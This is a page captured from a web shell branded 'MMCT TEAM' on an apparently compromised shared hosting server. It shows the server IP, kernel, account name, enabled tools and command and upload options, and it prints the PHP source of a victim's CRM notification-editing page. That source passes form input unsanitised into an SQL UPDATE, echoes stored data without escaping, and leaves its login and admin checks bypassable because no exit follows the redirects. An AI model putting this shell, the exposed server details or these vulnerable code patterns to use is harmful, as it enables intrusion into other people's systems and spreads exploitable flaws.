MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.117.188.105
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/mystudiob.co.in/../shsindia.com/crm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/mystudiob.co.in/../shsindia.com/crm/edit-notification.php
<?php
    include_once('include/config.php');
if (!isLoggedIn()) {
    $_SESSION['msg'] = "You must log in first";
    header('location: login.php');
}
if (!isAdmin()) {
    $_SESSION['msg'] = "You are not Admin";
    header('location: login.php');
}
    if(isset($_POST['comp_application'])) {
    $id = $_POST['id'];
    $notice_title = htmlspecialchars($_POST['notice_title'], ENT_QUOTES);
    $notice_for = $_POST['notice_for'];
    $notice_detail = $_POST['notice_detail'];
    $userid=$_SESSION['user']['id'];
    
    $sql = "UPDATE `tbl_notice` SET `notice_title`='$notice_title',`notice_detail`='$notice_detail',`notice_for`='$notice_for',`notice_from`='$userid' WHERE notice_id=$id";
    
    $result = mysqli_query($db, $sql) or die("Query unsuccessful");

    if($result){
        echo ("<script>
        window.alert('Successfully Send Your Complaint');
        window.location.href='manage-notifications.php';
        </script>");
        mysqli_close($db);
    } else {
        echo "Error";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
    
<head>
    <?php include "top-links.php";?>
    <style type="text/css" media="all">
	/* @import "widgEditor/css/info1.css"; */
	@import "employee/widgEditor/css/mains.css";
	@import "employee/widgEditor/css/widgEditor.css";
    </style>
    <script type="text/javascript" src="employee/widgEditor/scripts/widgEditor.js"></script>
</head>

    <body>
        <!-- Begin page -->
        <div class="wrapper">

            <?php include "header.php";?>

            <?php include "sidebar.php";?>
            
              <div class="content-page">
                <div class="content">

                    <!-- Start Content-->
                    
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col-12">
                                <div class="card">
                                    <div class="card-header">
                                        <h4 class="header-title mb-0">Edit Notifications</h4>
                                    </div>
                                    <div class="card-body">
                                        <?php
                                            $sql = "SELECT * FROM `tbl_notice`
                                                INNER JOIN tbl_customer ON  tbl_notice.notice_for=tbl_customer.cus_id";
                                            $run = mysqli_query($db, $sql) or die("Query Not run");
                                            $data = mysqli_fetch_assoc($run);
                                        ?>
                                            <!-- end row -->
                                                <div class=" b-0 mb-0">
                                                    <div >
                                                        <div class="row">
                                                         <form action="<?php $_PHP_SELF?>" method="POST" onsubmit="copyEditorContent()">
                                                            <div class="col-12">
                                                                <div class="card">
                                                                    <div class="col-md-12 mb-3">
                                                                        <label class="" for="userName">Notifications Subject</label>
                                                                        <div>
                                                                            <input type="text" class="form-control" id="userName" name="notice_title" value="<?php echo $data['notice_title']; ?>">
                                                                            <input type="hidden" name="id" value="<?php echo $data['notice_id']; ?>">
                                                                        </div>
                                                                    </div>
                                                                    <div class="col-lg-6 mb-3">
                                                                        <p class="mb-1 fw-bold text-muted">Notifications For</p>
                                                                    
                                                                        <select class="form-control select2" data-toggle="select2" name="notice_for">
                                                                            <option value="0" <?php if(isset($notice_for) && $notice_for == 0) echo 'selected'; ?>>Notifications For All Employees</option>
                                                                            <?php
                                                                                $sqlsel = "SELECT * FROM `tbl_employee` WHERE `emp_status`='Active'";
                                                                                $runsel = mysqli_query($db, $sqlsel) or die("Query Not run");
                                                                                $count = 0;
                                                                    
                                                                                while ($datasel = mysqli_fetch_assoc($runsel)) {
                                                                                    $count++;
                                                                                    $selected = (isset($notice_for) && $notice_for == $datasel['emp_id']) ? 'selected' : '';
                                                                            ?>
                                                                                <option value="<?php echo $datasel['emp_id']; ?>" <?php echo $selected; ?>>
                                                                                    <?php echo $count; ?> - <?php echo $datasel['emp_name']; ?> - <?php echo $datasel['emp_father']; ?>
                                                                                </option>
                                                                            <?php } ?>
                                                                        </select>
                                                                    </div>
                                                                    <div class="card-header">
                                                                        <h4 class="header-title">Notifications Details</h4>
                                                                    </div>
                                                                    <div class="col-md-12 mb-3">
                                                                        <div class="form-group" id="content">
                                                                           <!--<label>Application</label>-->
				                                                           <textarea id="noise" name="notice_detail" class="form-control"><?php echo $data['notice_detail']; ?></textarea>
                                                                        </div>
                                                                    </div>
                                                                    <ul class="list-inline wizard mb-0">
                                                                        <li class="next list-inline-item float-start">
                                                                            <button class="btn btn-info" name="comp_application">Submit <i class="ri-arrow-right-line ms-1"></i></button>
                                                                        </li>
                                                                    </ul>
                                                                </div>
                                                            </div> <!-- end col-->
                                                        </form>
                                                        
                                                        </div>
                                                    </div>
                                                </div>
                                    </div> 
                                </div> 
                            </div>
                        </div> 
                    </div>
                    </div>
                    </div>
        </div>
        
        <?php include "footer.php";?>
<script>
    document.addEventListener('DOMContentLoaded', (event) => {
        var today = new Date().toISOString().split('T')[0];
        document.getElementById('date').setAttribute('min', today);
    });
</script>
        
    </body>

</html> 

MMCT - 2023